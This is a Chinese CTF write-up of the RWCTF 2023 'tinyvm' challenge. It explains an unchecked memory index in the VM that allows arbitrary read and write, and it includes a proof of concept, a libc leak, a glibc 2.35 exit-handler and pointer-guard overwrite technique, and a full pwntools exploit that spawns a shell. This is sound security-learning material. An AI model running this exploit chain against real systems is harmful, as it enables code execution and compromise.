rwctf-tinyvm

RWCTF2023的一个签到的vm题目,漏洞不难,但是利用起来很有意思。最后没有独自做出来,参考了ctftime的writeup,也是学到了不少东西

rwctf-tinyvm

来自rwctf-5th的一道PWN题,是最经典的clone-pwn,比赛结束时分值为180分。网址即为tinyvm的最后一次commit。直接给了源码,按照有DEBUG模式下的makefile编译即可。

使用makefile的编译选项,得到的结果竟然是没有canary的?这里没办法复现比赛环境,不知道是否也是如此

image-20230119184038116

源码分析

tvmi.c中,是整个vm的main函数。我们直接根据例子所给的prime.vm调试分析一下这个vm。

首先vm用calloc分配了一些空间,最大的mem_space为0x4000000字节。这段空间将被mmap在堆和libc之间的空间中。

image-20230119150350085

stack初始化

设置mem->register[0x7],应该是模拟出的栈指针指向之前分配出来的memory加上0x200000byte,之后赋值mem->register[0x6]也是这个内容。查看文档中对于register的说明。这两个寄存器应该分别是rsp和rbp寄存器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//////////////////////////////////////////////////
// 1. REGISTERS //////////////////////////////////
//////////////////////////////////////////////////

TVM has 17 registers, modeled after x86 registers.
Register names are written lower-case.

(EAX - EDX, General Purpose)
EAX
EBX
ECX
EDX

ESI
EDI

ESP - Stack pointer, points to the top of the stack
EBP - Base pointer, points to the base of the stack

EIP - Instruction pointer, this is modified with the jump commands, never directly

R08 - R15, General Purpose

const char *tvm_register_map[] = {
"eax", "ebx", "ecx", "edx",
"esi", "edi", "esp", "ebp",
"eip",
"r08", "r09", "r10", "r11",
"r12", "r13", "r14", "r15", 0};

对于输入的解释

对于输入文件的interpret在tvm_vm_interpret中。通过直接读取文件,将文件内容存入本地并传递给tvm_preprocess的方法。

在预处理阶段,程序会解析include部分(去寻找一个新的.vm文件,并把内容直接copy过来)以及define部分)(根据define关键字找到key和value,并通过tvm_htab_add_ref添加到一个程序的一个类似ELF的data表中去)

parse_label阶段,主要是针对程序不同段之间的汇编标志(label)进行划分。并通过tvm_htab_add设置一个新的label。中间还会检查避免产生了重复的label。

parse_program阶段,依然是通过每一行遍历,找到command和argument。主要在tvm_parse_program中。在这里有一个转化内存的地方。可以看到应该是直接将arg设置为我们给定的数字所对应的程序一开始申请的mem_space数组的下标。这里可能造成内存的越界访问。但是注意,下面的tvm_parse_value最终会调用strtoul,也就是最终的数字还是无符号数。回顾一下之前这段memory所在的地址空间,我们应该是不能直接修改GOT表的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// tvm_parse_args()
/* Check to see whether the token specifies an address */
if (instr_tokens[*instr_place+1 + i][0] == '[') {
char *end_symbol = strchr(
instr_tokens[*instr_place+1 + i], ']');

if (end_symbol) {
*end_symbol = 0;
args[i] = &((int *)vm->mem->mem_space)[
tvm_parse_value(instr_tokens[
*instr_place+1 + i] + 1)];

continue;
}
}

除此以外,parse_program还会找到语句中的label以及判断是否是寄存器,以及是否为立即数。

运行

运行vm在tvm_vm_run中。基本就是对vm里面每个指令做解释。这个和pa里面的非常类似了。甚至pa里面的还要更复杂一些,还牵涉到对于不同指令集的翻译。这里就是简单的对汇编进行匹配即可。其实这张表对于理解x86汇编也很有用,复制一份。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
static inline void tvm_step(struct tvm_ctx *vm, int *instr_idx)
{
int **args = vm->prog->args[*instr_idx];

switch (vm->prog->instr[*instr_idx]) {
/* nop */ case 0x0: break;
/* int */ case 0x1: /* unimplemented */ break;
/* mov */ case 0x2: *args[0] = *args[1]; break;
/* push */ case 0x3: tvm_stack_push(vm->mem, args[0]); break;
/* pop */ case 0x4: tvm_stack_pop(vm->mem, args[0]); break;
/* pushf */ case 0x5: tvm_stack_push(vm->mem, &vm->mem->FLAGS); break;
/* popf */ case 0x6: tvm_stack_pop(vm->mem, args[0]); break;
/* inc */ case 0x7: ++(*args[0]); break;
/* dec */ case 0x8: --(*args[0]); break;
/* add */ case 0x9: *args[0] += *args[1]; break;
/* sub */ case 0xA: *args[0] -= *args[1]; break;
/* mul */ case 0xB: *args[0] *= *args[1]; break;
/* div */ case 0xC: *args[0] /= *args[1]; break;
/* mod */ case 0xD: vm->mem->remainder = *args[0] % *args[1]; break;
/* rem */ case 0xE: *args[0] = vm->mem->remainder; break;
/* not */ case 0xF: *args[0] = ~(*args[0]); break;
/* xor */ case 0x10: *args[0] ^= *args[1]; break;
/* or */ case 0x11: *args[0] |= *args[1]; break;
/* and */ case 0x12: *args[0] &= *args[1]; break;
/* shl */ case 0x13: *args[0] <<= *args[1]; break;
/* shr */ case 0x14: *args[0] >>= *args[1]; break;
/* cmp */ case 0x15: vm->mem->FLAGS =
((*args[0] == *args[1]) | (*args[0] > *args[1]) << 1);
break;
/* call */ case 0x17: tvm_stack_push(vm->mem, instr_idx);
/* jmp */ case 0x16: *instr_idx = *args[0] - 1; break;
/* ret */ case 0x18: tvm_stack_pop(vm->mem, instr_idx);
break;
/* je */ case 0x19:
*instr_idx = (vm->mem->FLAGS & 0x1)
? *args[0] - 1 : *instr_idx;
break;
/* jne */ case 0x1A:
*instr_idx = (!(vm->mem->FLAGS & 0x1))
? *args[0] - 1 : *instr_idx;
break;
/* jg */ case 0x1B:
*instr_idx = (vm->mem->FLAGS & 0x2)
? *args[0] - 1 : *instr_idx;
break;
/* jge */ case 0x1C:
*instr_idx = (vm->mem->FLAGS & 0x3)
? *args[0] - 1 : *instr_idx;
break;
/* jl */ case 0x1D:
*instr_idx = (!(vm->mem->FLAGS & 0x3))
? *args[0] - 1 : *instr_idx;
break;
/* jle */ case 0x1E:
*instr_idx = (!(vm->mem->FLAGS & 0x2))
? *args[0] - 1 : *instr_idx;
break;
/* prn */ case 0x1F: printf("%i\n", *args[0]);
};
}

这里再次确认了使用指令访问内存时,没有任何的限制。同时这里还有一个挺有意思的指令prn可以用作输出内容。

POC

我们尝试验证一下上面的内容,发现确实成功了。编写以下的poc.vm

1
2
3
4
start:
mov eax, [-1]
end:

strtoul处理结果为无符号的-1。

image-20230119185322145

image-20230119185333825

看一下我们对内存的修改过程。在tvm_parse_value之后。

image-20230119185736628

修改前,变量在rdx中。

image-20230119185836740

修改后。发现地址减小。结合汇编中的prt和mov,说明我们已经达到任意地址读写的目的了。只不过需要注意输入的内容需要乘上4才是和分配的memory之间的偏移。并且memory开始的位置是在一开始分配空间加上0x10地址的地方。

image-20230119185901319

exp

原来这道题怎么探索libc版本才是难点。看了网上别人的wp,是通过逐步dump出所有libc字段的byte,然后直接string出结果的。dump的方法就是移动指针到和当前memory偏移固定的位置(这个位置也在7f开头的data部分,可能是一样的偏移?)然后全部打印并接受。得到远程的libc是Ubuntu GLIBC 2.35-0ubuntu3.1,没有hook函数,可能需要找exit_hook或者FSOP。

如何调试

这道题给了我们一种新的调试方法。如果一个文件只接收命令行参数,那就没法用pwntools在动态调试的时候下断点。这里参考了网上的wp种的脚本,直接使用的是gdb.debug()启动的binary。

泄露libc

首先找到和PLT表的偏移。这里学到两个新的命令,vmmap libc和tele。似乎后者可以简单解引用。经过测试,两者之间距离是不变的。因此可以用这里的PLT泄露libc。这里选择calloc的plt。

image-20230119195404058

对应的.vm

1
2
3
4
5
6
7
8
file = """
start:
mov eax, [17331215]
prn eax
mov eax, [17331216]
prn eax
end:
"""

这种接收方式并不是很稳定。主要原因是mmap出来的堆地址会变化

image-20230119204820469

写hook

首先需要注意到:程序中的地址都是int大小的,因此在64位下并不能直接写入任意地址。我们可以利用以下函数

1
2
3
4
5
static inline void tvm_stack_push(struct tvm_mem *mem, int *item)
{
mem->registers[0x6].i32_ptr -= 1;
*mem->registers[0x6].i32_ptr = *item;
}

来进行任意地址写。不过就是可能破坏esp指针。每次push的时候将会在esp所在指针-4的地方写入item内容。

对于2.35,能用的hook函数应该只剩下exit_hook和FSOP里面的一些gadget了。这里依然学习的是上面提到的wp,里面提到了一种很有意思的针对exit_hook的利用方法。这种方法需要我们能够至少三次任意地址写一次写fs[30],另一次写exithook,其中包含两个变量,一个是system,一个是binsh的地址。如果不能三次任意地址写,需要有一次读,两次写。其中读把fs[30]读出来。因为在2.35中,对exithook做了一些mangle处理,防止被直接写函数。(注意下面的PTR_DEMANGLEPTR_MANGLE)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();

__libc_lock_lock (__exit_funcs_lock);

/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur = *listp;

if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}

while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;

switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;

case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}

if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
continue;
}

*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}

__libc_lock_unlock (__exit_funcs_lock);

if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());

_exit (status);
}

其中mangle所做的等价于下面的伪代码。所以我们要么把fs:0x30改成0,要么读出来,才能用exit_hook。

1
2
3
4
5
6
7
8
9
10
// PTR_MANGLE
xor reg,QWORD PTR fs:0x30
rol reg,0x11
call reg


// PTR_DEMANGLE
ror reg,0x11
xor reg,QWORD PTR fs:0x30
call reg

假如说要看[fs:30],用到的命令如下

image-20230119212239825

清除canary相关代码

1
2
3
4
add esp, 65028080
sub esp, 10376
push 0
push 0

接下来写hook,需要写两个,一个是system地址,另一个是binsh地址。其中还需要做一个rotate工作。这两部分地址需要放在下面fnarg的地方。其中fn需要做rotate。事实上,这两者的地址也是相连的。因此我们可以直接用四次push来写入数字。

image-20230120125954340

综上可知:我们要做的事情是

  1. 写[fs:30]为0
  2. 计算system地址,并左移0x11位
  3. 计算”/bin/sh”地址
  4. initial中fn和arg的地方写入system的Binsh
  5. getshell

exp.vm

exp中使用了大量的立即数。因为这个里面似乎能直接得到libc地址,加上相关偏移即可。这里其实难点还有一个是怎么获得libc。我这里使用的是libc6_2.35-0ubuntu3_amd64。其中rol的汇编代码是借鉴上述提到的writeup中的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
filename="./tvmi"
libc_name="/home/nicholas/glibc-all-in-one/libs/libc6_2.35-0ubuntu3_amd64/libc.so.6"

context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','75']



file1 = """
setbit1:
cmp ecx, 0
je set0_1
mov ecx, 1
set0_1:
ret

setbit2:
cmp edx, 0
je set0_2
mov edx, 1
set0_2:
ret

rol:
mov edi, 0

rol_loop:
mov ecx, eax
and ecx, 0x80000000
call setbit1
shl eax, 1

mov edx, ebx
and edx, 0x80000000
call setbit2
shl ebx, 1

or eax, edx
or ebx, ecx

inc edi
cmp edi, esi
jl rol_loop
ret
start:
mov r13, esp

mov eax, [17331215]
mov r08, eax
mov eax, [17331216]
mov r09, eax
sub r09, 163968
mov r15, r09
mov r14, r08
prn r14
prn r15


add esp, 65028080
sub esp, 10376
push 0
push 0

mov r12, ebp
mov esp, ebp
add r09, 331104
mov eax, r08
mov ebx, r09
mov esi, 17
call rol


mov r08, eax
mov r09, ebx
prn r08
prn r09

mov eax, r14
mov ebx, r15
add ebx, 1935000

mov esp, r13
prn esp
add esp, 67235596
push r09
add esp, 8
push r08

add esp, 8
push ebx
add esp, 8
push eax



end:
"""

fin = open('./exp.vm','w')
fin.write(file1)
fin.close()

script = """
b printf
b __run_exit_handlers
continue
"""

io = process(argv=[filename,"./exp.vm"])
# io = gdb.debug([elf.path,"./exp.vm"], gdbscript=script)
num1 = int(io.recvuntil('\n'),10)
success("hex num1: " + hex(num1))
num2 = int(io.recvuntil('\n'),10)
success("hex num2: " + hex(num2))
if(num2<0):
num2 = - num2
libc_base= ((num1<<32) | num2)
success("libc_base: " + hex(libc_base))

system = libc_base + libc.symbols["system"]
success("system: " + hex(system))






io.interactive()

image-20230120154910423

总结

这是一道洞比较常见,但是利用方式比较新颖的vm,学习到了2.35下的exit_hook,以及诸多got表的利用。另外还有写fs的神奇操作。

此外,还有直接从gdb中启动程序,并且使得地址空间为常规启动时的方法(直接gdb file相关偏移是不正确的)

好久没有做题目了,会感觉还是挺生疏的,光调试就花了将近一天的时间。但是收获满满~

文章目录
  1. 1. rwctf-tinyvm
    1. 1.1. 源码分析
      1. 1.1.1. stack初始化
      2. 1.1.2. 对于输入的解释
      3. 1.1.3. 运行
    2. 1.2. POC
    3. 1.3. exp
      1. 1.3.1. 如何调试
      2. 1.3.2. 泄露libc
      3. 1.3.3. 写hook
      4. 1.3.4. exp.vm
    4. 1.4. 总结
|